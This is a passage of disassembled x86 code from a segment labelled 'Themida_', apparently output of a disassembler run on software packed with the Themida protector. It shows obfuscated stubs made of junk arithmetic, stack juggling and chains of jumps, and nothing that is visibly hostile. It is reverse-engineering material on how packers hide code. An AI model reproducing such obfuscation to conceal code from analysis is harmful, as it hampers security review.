					; Themida_:005A878Ej
		push	dword ptr [edi+24h]
		jmp	loc_5A78E9
; ---------------------------------------------------------------------------


loc_59DBA5:				; CODE XREF: Themida_:loc_59AE14j
					; Themida_:005A84C8j
		jmp	loc_59F854
; ---------------------------------------------------------------------------


loc_59DBAA:				; CODE XREF: Themida_:005AA682j
		dec	esi
		shr	esi, 7
		jmp	loc_5A58FF
; ---------------------------------------------------------------------------


loc_59DBB3:				; CODE XREF: Themida_:005AE9A6j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	7CB44DC6h
		pop	edx
		push	eax
		jmp	loc_59AB36
; ---------------------------------------------------------------------------


loc_59DBCB:				; CODE XREF: Themida_:005A0CF4j
		push	edi
		push	edx
		jmp	loc_5ACB1D
; ---------------------------------------------------------------------------


loc_59DBD2:				; CODE XREF: Themida_:0059DCEDj
		add	edi, 65AF539Fh
		add	edi, 1FEA3B7Bh
		pop	ebp
		std
		push	0Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A4ADC
; ---------------------------------------------------------------------------


loc_59DBF6:				; CODE XREF: Themida_:005A5C5Fj
		push	eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59DBFD:				; CODE XREF: Themida_:005AC277j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 44A83359h
		jmp	loc_5A073C
; ---------------------------------------------------------------------------


loc_59DC22:				; CODE XREF: Themida_:005A5745j
		push	ebp
		jmp	loc_59B6F8
; ---------------------------------------------------------------------------


loc_59DC28:				; CODE XREF: Themida_:0059AA60j
		mov	eax, [esp]
		add	esp, 4
		shr	ebx, 3
		jmp	loc_5AA55A
; ---------------------------------------------------------------------------


loc_59DC36:				; CODE XREF: Themida_:005AA2DFj
		pop	esp
		jmp	loc_59D9AE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	3A8Fh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_5AB2CA
; ---------------------------------------------------------------------------


loc_59DC62:				; CODE XREF: Themida_:0059DCB1j
		xor	ecx, edx
		jmp	loc_5A1402
; ---------------------------------------------------------------------------


loc_59DC69:				; CODE XREF: Themida_:005AD7FDj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59DC6E:				; CODE XREF: Themida_:0059E427j
		dec	ebp
		inc	ebp
		dec	ebp
		xor	ebp, 0EF7DEFEFh
		add	eax, 2FFA2145h
		add	eax, ebp
		sub	eax, 2FFA2145h
		jmp	loc_5A5A03
; ---------------------------------------------------------------------------


loc_59DC88:				; CODE XREF: Themida_:005AE859j
		pop	edi
		sub	edx, 6FD94CA4h
		jmp	loc_59E06E
; ---------------------------------------------------------------------------


loc_59DC94:				; CODE XREF: Themida_:005A7921j
		push	ebp
		mov	ebp, 24F3385Ch
		not	ebp
		and	ebp, 52EB7C04h
		sub	ebp, 0DD91C7A4h
		mov	edx, ebp
		pop	ebp
		sub	edx, 43F406DEh
		jmp	loc_59DC62
; ---------------------------------------------------------------------------


loc_59DCB6:				; CODE XREF: Themida_:005A441Dj
		mov	eax, 208875EEh
		push	esi
		mov	esi, 0DF778A16h
		jmp	loc_59DE0C
; ---------------------------------------------------------------------------


loc_59DCC6:				; CODE XREF: Themida_:005ABA33j
		or	edx, 7D16781Fh
		dec	edx
		xor	edx, 0EF55447h
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		not	ebp
		jmp	loc_5A2297
; ---------------------------------------------------------------------------


loc_59DCE5:				; CODE XREF: Themida_:0059FE95j
		push	eax
		jmp	loc_5A364D
; ---------------------------------------------------------------------------


loc_59DCEB:				; CODE XREF: Themida_:005AC78Cj
		add	edi, ebp
		jmp	loc_59DBD2
; ---------------------------------------------------------------------------


loc_59DCF2:				; CODE XREF: Themida_:005A8BD8j
		add	ebx, 6588C861h
		mov	ebp, ebx
		jmp	loc_5A356E
; ---------------------------------------------------------------------------


loc_59DCFF:				; CODE XREF: Themida_:005A0410j
		mov	dh, 76h
		add	dh, 3Eh
		sub	dh, 2Ch
		jmp	loc_5A246D
; ---------------------------------------------------------------------------


loc_59DD0C:				; CODE XREF: Themida_:005A74CEj
		add	esi, 507E10D9h
		add	esi, 69A13E1Eh
		sub	esi, 7BD246CFh
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5AD7F8
; ---------------------------------------------------------------------------


loc_59DD2A:				; CODE XREF: Themida_:005A5E90j
		inc	edx
		jo	loc_5989CB
		not	edx
		xor	edx, 621F45BFh
		shr	edx, 3
		sub	edx, 9D8D8FACh
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	ebx, 1
		jmp	loc_5AAB34
; ---------------------------------------------------------------------------


loc_59DD56:				; CODE XREF: Themida_:005A1584j
		mov	edx, 1A8063A4h
		shl	edx, 6
		and	edx, 4BE51604h
		sub	edx, 8A2DC049h
		sub	ebx, edx
		pop	edx
		mov	esi, [esp]
		jmp	loc_5A6EFB
; ---------------------------------------------------------------------------


loc_59DD75:				; CODE XREF: Themida_:005A9805j
		mov	edi, 1EBD79BFh
		shr	edi, 8
		sub	edi, 99A4A60h
		and	edi, 356C6CC0h
		shl	edi, 6
		or	edi, 1D344AB6h
		xor	edi, 744FCB37h
		sub	eax, edi
		pop	edi
		jmp	loc_5A0923
; ---------------------------------------------------------------------------


loc_59DDA0:				; CODE XREF: Themida_:005AAA73j
		xchg	esi, [esp]
		jmp	loc_5993D9
; ---------------------------------------------------------------------------


loc_59DDA8:				; CODE XREF: Themida_:0059F11Cj
		add	ecx, eax
		add	ecx, 6D9441BEh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59E27D
; ---------------------------------------------------------------------------


loc_59DDBB:				; CODE XREF: Themida_:005AF841j
		mov	ecx, 737754BBh
		not	ecx
		inc	ecx
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_5A2124
; ---------------------------------------------------------------------------


loc_59DDCE:				; CODE XREF: Themida_:005A281Fj
		mov	[esp], edx
		push	49C777F4h
		pop	edx
		neg	edx
		jle	loc_5A0756
		jmp	loc_5AB8EC
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	esi, ebx
		and	al, 0F5h


loc_59DDEB:				; CODE XREF: Themida_:00599FF3j
					; Themida_:005AFC5Bj
		xor	esi, [esp]
		jmp	loc_5AEB05
; ---------------------------------------------------------------------------


loc_59DDF3:				; CODE XREF: Themida_:0059C446j
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2F2D
; ---------------------------------------------------------------------------


loc_59DE02:				; CODE XREF: Themida_:005A1CE0j
		xor	eax, 0E2ABFFF6h
		jmp	loc_5A09BF
; ---------------------------------------------------------------------------


loc_59DE0C:				; CODE XREF: Themida_:0059DCC1j
		add	eax, esi
		pop	esi
		jmp	loc_5AE65C
; ---------------------------------------------------------------------------


loc_59DE14:				; CODE XREF: Themida_:005A1811j
		pop	edi
		push	376Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	53A174F1h
		jmp	loc_59F739
; ---------------------------------------------------------------------------


loc_59DE40:				; CODE XREF: Themida_:005A541Fj
		mov	ebx, 6A421636h
		shr	ebx, 3
		jmp	loc_5AF18B
; ---------------------------------------------------------------------------


loc_59DE4D:				; CODE XREF: Themida_:005989E1j
					; Themida_:005AF0C5j
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	small 7E6Eh
		pop	bx
		jmp	loc_5A67F4
; ---------------------------------------------------------------------------


loc_59DE67:				; CODE XREF: Themida_:005ACFB9j
		mov	ebx, 489B36BFh
		add	ebx, 39AB1E8Fh
		xor	ebx, 37D155E0h
		sub	ebx, 0B59700AAh
		jmp	loc_59B9EF
; ---------------------------------------------------------------------------


loc_59DE83:				; CODE XREF: Themida_:005AE04Bj
		add	esp, 4
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_598A49
; ---------------------------------------------------------------------------


loc_59DE97:				; CODE XREF: Themida_:005AB35Fj
		xor	edx, 77BA378Bh
		add	ebx, edx
		jmp	loc_599771
; ---------------------------------------------------------------------------


loc_59DEA4:				; CODE XREF: Themida_:0059C38Fj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59A937
; ---------------------------------------------------------------------------


loc_59DEC1:				; CODE XREF: Themida_:005A0882j
		push	dword ptr [esp]
		pop	eax
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		sub	dword ptr [esp+4], 730A0674h
		add	[esp+4], edi
		add	dword ptr [esp+4], 730A0674h
		pop	edi
		pop	edi
		add	edi, 4
		jmp	loc_59A779
; ---------------------------------------------------------------------------


loc_59DEF4:				; CODE XREF: Themida_:005ABD7Bj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A6FFB
; ---------------------------------------------------------------------------


loc_59DF02:				; CODE XREF: Themida_:0059D70Ej
					; Themida_:0059E941j
		add	ebp, 0E321D60h
		jmp	loc_5ADC36
; ---------------------------------------------------------------------------


loc_59DF0D:				; CODE XREF: Themida_:0059F3B5j
		push	ebx
		push	eax
		jmp	loc_5A5E29
; ---------------------------------------------------------------------------


loc_59DF14:				; CODE XREF: Themida_:0059D29Fj
					; Themida_:005A758Ej
		push	321Dh
		mov	[esp], ebx
		mov	ebx, 26AC2FFCh
		jmp	loc_5A3986
; ---------------------------------------------------------------------------


loc_59DF26:				; CODE XREF: Themida_:005A716Ej
					; Themida_:005A74A6j
		push	ebx
		mov	ebx, 61D74EF5h
		and	edx, ebx
		pop	ebx
		add	edx, 0FFFFFDD4h
		jmp	loc_59D05C
; ---------------------------------------------------------------------------


loc_59DF3A:				; CODE XREF: Themida_:00599451j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5ADA74
; ---------------------------------------------------------------------------


loc_59DF43:				; CODE XREF: Themida_:0059F885j
		pop	esp
		jmp	loc_5A098E
; ---------------------------------------------------------------------------


loc_59DF49:				; CODE XREF: Themida_:0059CECEj
		add	edx, 7A3E3D61h
		pop	esi
		jmp	loc_5ABDED
; ---------------------------------------------------------------------------


loc_59DF55:				; CODE XREF: Themida_:00599AE5j
					; Themida_:0059E338j
		add	esp, 4
		add	ebx, ebp
		jmp	loc_59C73D
; ---------------------------------------------------------------------------


loc_59DF5F:				; CODE XREF: Themida_:005A15C4j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A6F6B
; ---------------------------------------------------------------------------


loc_59DF68:				; CODE XREF: Themida_:005AE3E6j
		add	esp, 4
		jmp	loc_5A29C8
; ---------------------------------------------------------------------------


loc_59DF73:				; CODE XREF: Themida_:0059C103j
		neg	edx
		add	edx, 6580E9B4h
		add	ebx, edx
		pop	edx
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59DF8E:				; CODE XREF: Themida_:005A5E2Fj
		jmp	loc_59F063
; ---------------------------------------------------------------------------


loc_59DF93:				; CODE XREF: Themida_:005A499Dj
		xor	esi, eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_599707
; ---------------------------------------------------------------------------


loc_59DFA9:				; CODE XREF: Themida_:005A70E3j
		add	eax, 61CAC119h
		mov	edx, eax
		jmp	loc_59A886
; ---------------------------------------------------------------------------


loc_59DFB5:				; CODE XREF: Themida_:005AEF6Cj
		sub	edx, 0EDEB65F6h
		add	ebp, edx
		pop	edx
		or	ebp, 67AF58C8h
		push	esi
		mov	esi, 98008115h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 568618EBh
		add	edx, ebp
		jmp	loc_5A4643
; ---------------------------------------------------------------------------


loc_59DFDF:				; CODE XREF: Themida_:005989C6j
					; Themida_:0059C6B3j
		sub	esi, 50BC705Dh
		add	esi, 7F7F48C9h
		mov	ecx, [esp]
		jmp	loc_5A0AD1
; ---------------------------------------------------------------------------


loc_59DFF3:				; CODE XREF: Themida_:005A8FC5j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A9A81
; ---------------------------------------------------------------------------


loc_59DFFE:				; CODE XREF: Themida_:005A6EE7j
		add	esp, 4
		xor	esi, 6E482D66h
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_5ACF0B
; ---------------------------------------------------------------------------


loc_59E01E:				; CODE XREF: Themida_:005999D0j
		mov	eax, ecx
		jmp	loc_59D329
; ---------------------------------------------------------------------------


loc_59E025:				; CODE XREF: Themida_:005A9087j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		jmp	loc_59B041
; ---------------------------------------------------------------------------


loc_59E030:				; CODE XREF: Themida_:005AA004j
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_59E7F7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	1F49h
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A32D9
; ---------------------------------------------------------------------------


loc_59E06E:				; CODE XREF: Themida_:0059DC8Fj
		mov	edi, [esp]
		add	esp, 4
		inc	edx
		sub	edx, 484A5C40h
		jmp	loc_5AD982
; ---------------------------------------------------------------------------


loc_59E083:				; CODE XREF: Themida_:005A8625j
		shr	eax, 8
		sub	eax, 0A8C72984h
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 4D615FF9h
		push	dword ptr [esp]
		jmp	loc_5A5DD1
; ---------------------------------------------------------------------------


loc_59E0A0:				; CODE XREF: Themida_:005A92CEj
		shl	ebx, 4
		not	ebx
		xor	ebx, 8B63DD80h
		or	ecx, ebx
		pop	ebx
		add	ecx, 0DF35ECA4h
		xor	esi, ecx
		pop	ecx
		add	esi, 0EB509BAAh
		or	ebx, esi
		jmp	loc_599F25
; ---------------------------------------------------------------------------


loc_59E0C4:				; CODE XREF: Themida_:005A787Dj
		pop	ebx
		add	edx, 69C34A99h
		jmp	loc_59EA6D
; ---------------------------------------------------------------------------


loc_59E0D0:				; CODE XREF: Themida_:005AC469j
		add	edx, 4
		add	edx, 4
		jmp	loc_59E619
; ---------------------------------------------------------------------------


loc_59E0DE:				; CODE XREF: Themida_:005A669Ej
		jmp	loc_59FFED
; ---------------------------------------------------------------------------


loc_59E0E3:				; CODE XREF: Themida_:005AD0EEj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5AA189
; ---------------------------------------------------------------------------


loc_59E0FA:				; CODE XREF: Themida_:005ACFA2j
		add	esp, 4
		sub	eax, 50D5325Ch
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 0E3409CBh
		inc	edx
		jmp	loc_5A837A
; ---------------------------------------------------------------------------


loc_59E113:				; CODE XREF: Themida_:00599782j
		xor	dword ptr [esp], 37A421DDh
		pop	ebx
		xor	ebx, 37A421DDh
		jmp	loc_59AB55
; ---------------------------------------------------------------------------


loc_59E126:				; CODE XREF: Themida_:005A54DCj
		pop	eax
		push	ecx
		not	byte ptr [esp+1]
		pop	ecx
		mov	dl, ch
		pop	ecx
		not	dl
		jmp	loc_59D25A
; ---------------------------------------------------------------------------


loc_59E137:				; CODE XREF: Themida_:005ACBE8j
		or	al, dl
		pop	edx
		shr	al, 6
		jmp	loc_5A14B0
; ---------------------------------------------------------------------------


loc_59E142:				; CODE XREF: Themida_:005A9B25j
		pop	ebp
		neg	ebp
		ja	loc_5AA16B
		push	ebp
		jmp	loc_5A2D59
; ---------------------------------------------------------------------------


loc_59E151:				; CODE XREF: Themida_:005AFE3Fj
		push	30BCh
		jmp	loc_5A4E43
; ---------------------------------------------------------------------------


loc_59E15B:				; CODE XREF: Themida_:005AD636j
		add	ebp, 4
		push	3CF4h
		jmp	loc_5A1DA7
; ---------------------------------------------------------------------------


loc_59E16B:				; CODE XREF: Themida_:0059CC1Bj
					; Themida_:005AA7F9j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, 0E7F6AE7h
		add	esi, edi
		sub	esi, 0E7F6AE7h
		pop	edi
		jmp	loc_5A0A77
; ---------------------------------------------------------------------------


loc_59E18E:				; CODE XREF: Themida_:0059E519j
		sub	cl, 14h
		jmp	loc_5A45E0
; ---------------------------------------------------------------------------


loc_59E196:				; CODE XREF: Themida_:005A19ACj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_5A68E0
; ---------------------------------------------------------------------------


loc_59E1A9:				; CODE XREF: Themida_:005999B1j
		mov	dl, 69h
		sub	bl, dl
		pop	edx
		add	bl, 4
		sub	bl, al
		sub	bl, 4
		push	edx
		mov	dl, 64h
		jmp	loc_5A9B14
; ---------------------------------------------------------------------------


loc_59E1BE:				; CODE XREF: Themida_:005A58CBj
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E1C6:				; CODE XREF: Themida_:005A1666j
		mov	ebx, 68607FCCh
		xor	ebx, 5D13405Dh
		jmp	loc_5A0E4A
; ---------------------------------------------------------------------------


loc_59E1D6:				; CODE XREF: Themida_:005A15A4j
		push	4A22h
		mov	[esp], edx
		push	1B78h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 3EED64A0h
		mov	ebp, 2C730B8Bh
		add	ebp, ebx
		pop	ebx
		mov	edx, 0AE13AD30h
		sub	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_5AA123
; ---------------------------------------------------------------------------


loc_59E202:				; CODE XREF: Themida_:005A38A6j
		sub	ebx, 4085115Fh
		push	edi
		mov	edi, 1D533DADh
		add	ebx, edi
		jmp	loc_5A0E38
; ---------------------------------------------------------------------------


loc_59E215:				; CODE XREF: Themida_:005A0378j
		xor	eax, 77D5A16h
		push	eax
		jmp	loc_598F26
; ---------------------------------------------------------------------------


loc_59E220:				; CODE XREF: Themida_:0059AF19j
		push	esi
		jmp	loc_5A7E3D
; ---------------------------------------------------------------------------


loc_59E226:				; CODE XREF: Themida_:005A1E17j
		push	eax
		mov	eax, 2C91396Ah
		xor	eax, 7A664B68h
		sub	eax, 332B628Dh
		neg	eax
		add	eax, 1A5C0795h
		sub	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		jmp	loc_59FA4F
; ---------------------------------------------------------------------------


loc_59E248:				; CODE XREF: Themida_:005A89EFj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5A6918
; ---------------------------------------------------------------------------


loc_59E25A:				; CODE XREF: Themida_:0059987Aj
					; Themida_:005A9224j
		add	edx, ecx
		pop	ecx
		or	edi, edx
		pop	edx
		push	edx
		mov	edx, 92E24A1h
		add	edx, 57B8067Dh
		add	edx, 47936594h
		add	edx, 9540D747h
		jmp	loc_59ADC7
; ---------------------------------------------------------------------------


loc_59E27D:				; CODE XREF: Themida_:0059DDB6j
		sub	ecx, edx
		sub	ecx, 323F1637h
		jmp	loc_599EB2
; ---------------------------------------------------------------------------


loc_59E28A:				; CODE XREF: Themida_:005ABB29j
		add	esi, 4
		add	esi, 4
		jmp	loc_5AF38E
; ---------------------------------------------------------------------------


loc_59E298:				; CODE XREF: Themida_:005AFB94j
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59E7B2
; ---------------------------------------------------------------------------


loc_59E2A9:				; CODE XREF: Themida_:0059AA77j
		mov	ebp, 4
		push	ebp
		mov	ebp, 7B5A3BCCh
		sub	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, ebp
		add	ecx, 7B5A3BCCh
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5AF0EE
; ---------------------------------------------------------------------------


loc_59E2E1:				; CODE XREF: Themida_:005AB99Aj
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [edx]
		push	ecx
		mov	ecx, 31422D66h
		sub	dword ptr [esp+4], 2F9A0FC6h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 2F9A0FC6h
		pop	ecx
		pop	ecx
		jmp	loc_5AF642
; ---------------------------------------------------------------------------


loc_59E30D:				; CODE XREF: Themida_:0059E6B4j
		mov	ebp, 3042F62h
		jmp	loc_59A985
; ---------------------------------------------------------------------------


loc_59E317:				; CODE XREF: Themida_:0059EC48j
					; Themida_:0059FDE5j
		pop	ecx
		jmp	loc_5AF9AD
; ---------------------------------------------------------------------------


loc_59E31D:				; CODE XREF: Themida_:0059C37Dj
					; Themida_:0059C396j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_599849
; ---------------------------------------------------------------------------


loc_59E328:				; CODE XREF: Themida_:005A95E5j
		mov	[esp], edi
		mov	edi, 5B8D055Ch
		push	ebx
		jmp	loc_59CF07
; ---------------------------------------------------------------------------


loc_59E336:				; CODE XREF: Themida_:005A8A72j
		not	dh
		jmp	loc_59DF55
; ---------------------------------------------------------------------------


loc_59E33D:				; CODE XREF: Themida_:loc_59D5D5j
		add	eax, 46C67C25h
		mov	edi, eax
		jmp	loc_59EC27
; ---------------------------------------------------------------------------


loc_59E349:				; CODE XREF: Themida_:loc_5A42CBj
		xor	edx, 6AAB78A0h
		jnz	loc_5A6843
		jmp	loc_5A7E52
; ---------------------------------------------------------------------------
		dec	word ptr [esp]
		pushf


loc_59E35F:				; CODE XREF: Themida_:005A81D5j
		mov	ecx, 14C42EDCh
		inc	ecx
		xor	ecx, 52305EAFh
		shr	ecx, 6
		add	ecx, 44D03FD9h
		jmp	loc_5A6393
; ---------------------------------------------------------------------------


loc_59E379:				; CODE XREF: Themida_:005A1497j
		xchg	ebx, [esp]
		jmp	loc_5A4458
; ---------------------------------------------------------------------------


loc_59E381:				; CODE XREF: Themida_:005A84ECj
					; Themida_:005AA7BFj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	ebx, 4
		jmp	loc_59FC69
; ---------------------------------------------------------------------------


loc_59E3A0:				; CODE XREF: Themida_:005A7661j
		mov	ecx, [esp]
		jmp	loc_5A8964
; ---------------------------------------------------------------------------


loc_59E3A8:				; CODE XREF: Themida_:005A98D5j
		pop	ebp
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_5A9BDB
; ---------------------------------------------------------------------------


loc_59E3C6:				; CODE XREF: Themida_:005A37EFj
		xor	ebx, eax
		jmp	loc_5AEA11
; ---------------------------------------------------------------------------


loc_59E3CD:				; CODE XREF: Themida_:005A9744j
		push	esp
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_5AA069
; ---------------------------------------------------------------------------


loc_59E3D7:				; CODE XREF: Themida_:0059B039j
					; Themida_:0059BD6Fj
		and	eax, 645290Ch
		jmp	loc_59E557
; ---------------------------------------------------------------------------


loc_59E3E1:				; CODE XREF: Themida_:00599476j
		sub	edi, 1
		jmp	loc_5A0F71
; ---------------------------------------------------------------------------


loc_59E3E9:				; CODE XREF: Themida_:005A01FDj
		shr	esi, 7
		jmp	loc_5A73CE
; ---------------------------------------------------------------------------


loc_59E3F1:				; CODE XREF: Themida_:005ABB21j
		dec	edx
		and	edx, 3AA84BCCh
		jo	loc_5AB379
		push	eax
		mov	eax, 410A65E2h
		jmp	loc_59BB80
; ---------------------------------------------------------------------------


loc_59E409:				; CODE XREF: Themida_:005AC009j
		add	ecx, 4
		jmp	loc_5A5B89
; ---------------------------------------------------------------------------


loc_59E414:				; CODE XREF: Themida_:0059BCD2j
		add	eax, 4
		push	ebp
		mov	ebp, 18DE187Bh
		and	ebp, 16837497h
		not	ebp
		jmp	loc_59DC6E
; ---------------------------------------------------------------------------


loc_59E42C:				; CODE XREF: Themida_:005A8958j
		pop	ebp
		sub	ecx, 5791D2Ah
		add	ecx, edx
		add	ecx, 5791D2Ah
		jmp	loc_59D542
; ---------------------------------------------------------------------------


loc_59E440:				; CODE XREF: Themida_:0059F6C0j
		push	ebp
		mov	ebp, 119561A2h
		jmp	loc_5AD670
; ---------------------------------------------------------------------------


loc_59E44B:				; CODE XREF: Themida_:005A6C1Aj
		push	361Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A7B29
; ---------------------------------------------------------------------------


loc_59E45C:				; CODE XREF: Themida_:005992DCj
		add	ebp, 61361196h
		jmp	loc_5AD6BF
; ---------------------------------------------------------------------------


loc_59E467:				; CODE XREF: Themida_:005A32E8j
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		add	eax, 4
		push	edx
		push	esi
		jmp	loc_59D459
; ---------------------------------------------------------------------------


loc_59E47E:				; CODE XREF: Themida_:005A85B2j
		add	ecx, 99EBEEC4h
		jmp	loc_5A5451
; ---------------------------------------------------------------------------


loc_59E489:				; CODE XREF: Themida_:005A3EF7j
		add	eax, 63B223FFh
		add	eax, edi
		push	ebx
		mov	ebx, 63B223FFh
		sub	eax, ebx
		jmp	loc_5A9B65
; ---------------------------------------------------------------------------


loc_59E49D:				; CODE XREF: Themida_:0059D05Fj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	eax, ecx
		sub	eax, 69DE1033h
		pop	ecx
		push	esi
		push	2FFD5F55h
		pop	esi
		or	esi, 5F2B0371h
		inc	esi
		jmp	loc_59C5D7
; ---------------------------------------------------------------------------


loc_59E4C4:				; CODE XREF: Themida_:005A0C20j
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5A4EB5
; ---------------------------------------------------------------------------


loc_59E4CD:				; CODE XREF: Themida_:005AF3EFj
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_5AEA7C
; ---------------------------------------------------------------------------


loc_59E4E7:				; CODE XREF: Themida_:005A71EBj
		neg	cl
		jns	loc_59E517
		inc	cl
		jl	loc_5AE273
		sub	cl, 14h
		and	al, 29h
		pop	edx


loc_59E4FD:				; CODE XREF: Themida_:0059EDA7j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AA155
; ---------------------------------------------------------------------------


loc_59E512:				; CODE XREF: Themida_:005A52CDj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E517:				; CODE XREF: Themida_:0059E4E9j
		inc	cl
		jl	loc_59E18E
		sub	cl, 14h
		jmp	loc_5AB7A4
; ---------------------------------------------------------------------------


loc_59E527:				; CODE XREF: Themida_:005AC434j
		add	esp, 4
		jmp	loc_5ADB51
; ---------------------------------------------------------------------------


loc_59E532:				; CODE XREF: Themida_:0059CD2Ej
		add	esp, 4
		push	edx
		jmp	loc_5A6D87
; ---------------------------------------------------------------------------


loc_59E53B:				; CODE XREF: Themida_:005A3FA2j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A1BEE
; ---------------------------------------------------------------------------


loc_59E54E:				; CODE XREF: Themida_:0059FECFj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5AC167
; ---------------------------------------------------------------------------


loc_59E557:				; CODE XREF: Themida_:0059E3DCj
		sub	eax, 3B8E236Ah
		xor	eax, 28A965A0h
		jnz	loc_5A38D2
		jmp	loc_5A5E21
; ---------------------------------------------------------------------------
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx


loc_59E573:				; CODE XREF: Themida_:005ACB18j
		pop	edi
		add	edi, 4
		push	ebp
		jmp	loc_5A8C91
; ---------------------------------------------------------------------------


loc_59E580:				; CODE XREF: Themida_:005AA3B8j
		not	ecx
		xor	ecx, 0BA565F47h
		jmp	loc_5A2DCD
; ---------------------------------------------------------------------------


loc_59E58D:				; CODE XREF: Themida_:0059BE75j
					; Themida_:005A6F1Aj
		sub	ebp, 4
		jmp	loc_5A6EF2
; ---------------------------------------------------------------------------


loc_59E595:				; CODE XREF: Themida_:005AE0B1j
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A68F1
; ---------------------------------------------------------------------------


loc_59E5AE:				; CODE XREF: Themida_:005A68DBj
		mov	ecx, 78CC1217h
		and	ecx, 4C743206h
		xchg	edi, ecx
		not	edi
		jmp	loc_5AD5AA
; ---------------------------------------------------------------------------


loc_59E5C2:				; CODE XREF: Themida_:0059F369j
		add	eax, ecx
		jmp	loc_5A6680
; ---------------------------------------------------------------------------


loc_59E5C9:				; CODE XREF: Themida_:005A1B90j
					; Themida_:005A2D42j
		mov	[esp+4], al
		pop	eax
